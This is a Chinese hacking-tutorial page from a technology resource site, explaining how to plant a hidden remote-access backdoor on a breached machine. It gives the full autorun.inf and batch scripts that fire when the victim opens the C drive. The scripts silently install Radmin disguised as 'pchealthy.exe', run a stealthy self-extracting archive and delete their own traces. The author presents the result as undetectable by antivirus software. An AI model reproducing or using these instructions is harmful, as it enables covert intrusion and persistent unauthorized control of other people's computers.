会员登录 | 注册

来去留技术信息资源

来去留技术信息资源
来去留网 > 流行服务 > 黑客技术,黑客软件,黑客新闻,黑客教程,黑客安全,黑客网站

黑客技术,黑客软件,黑客新闻,黑客教程,黑客安全,黑客网站

2012-03-26 07:32来源:来去留网发布者:laiquliu 查看:

入侵网站后全自动安装后门条件,只要你有上传的权限。
一共三个文件
1.autorun.inf 2.shell.bat 3.hao.exe(自解压文件)

思路:全部放在C盘下。当肉鸡主人双击C盘时自动运行第一文件。
第一文件带动运行第二文件。同时第二运行第三

运行完可正常进入C盘。不会让人发觉。并且里面所带的批处理,会在最后把所有文件删除。此时,后门却已经装上去了
《此法针对没有权限运行安全的入侵活动》
制作:
[autorun]
open=shell.bat
这个是autorun.inf
@echo off

hao.exe

c:\windows\explorer c:\

del autorun.inf

del rad.exe

del shell.bat
这个是shell.bat

hao.exe 里面包含admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件《关键所在》

r.bat--》批处理做法

@echo off
@pchealthy.exe /install /silence
@regedit /s admin.reg
@net start r_server
@del admin.reg
@del r.bat

其他四个就是Radmin的文件。这个大家都会,复制过来就行
OK,我们再来看自解压的处理,在解压路径里我们用
%systemroot%\system32,就是解压到系统目录里
并且 “解压后运行”填上我们的r.bat文件!

因为这里的文件比较多,比较隐蔽

解压模式我们选 “全部隐藏”,和 “覆盖所有文件”!
好了,一个不被杀毒软件所能查杀的好后门程序就成功制作出来了!
大家不要放在文件夹里压缩哦,要直接选上admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件压缩

黑软基地学院文章综合报道 


(责任编辑:laiquliu)

关注技术,信息,资源,扫描来去留网微信二维码交流。

来去留我李俊

搜索

------分隔线----------------------------
相关栏目

热点推荐
来去留技术信息资源
来去留网为您提供平台咨询交流学习方法及各类热门技术;电器,服装,保健,行业快讯等二十几个类别的资讯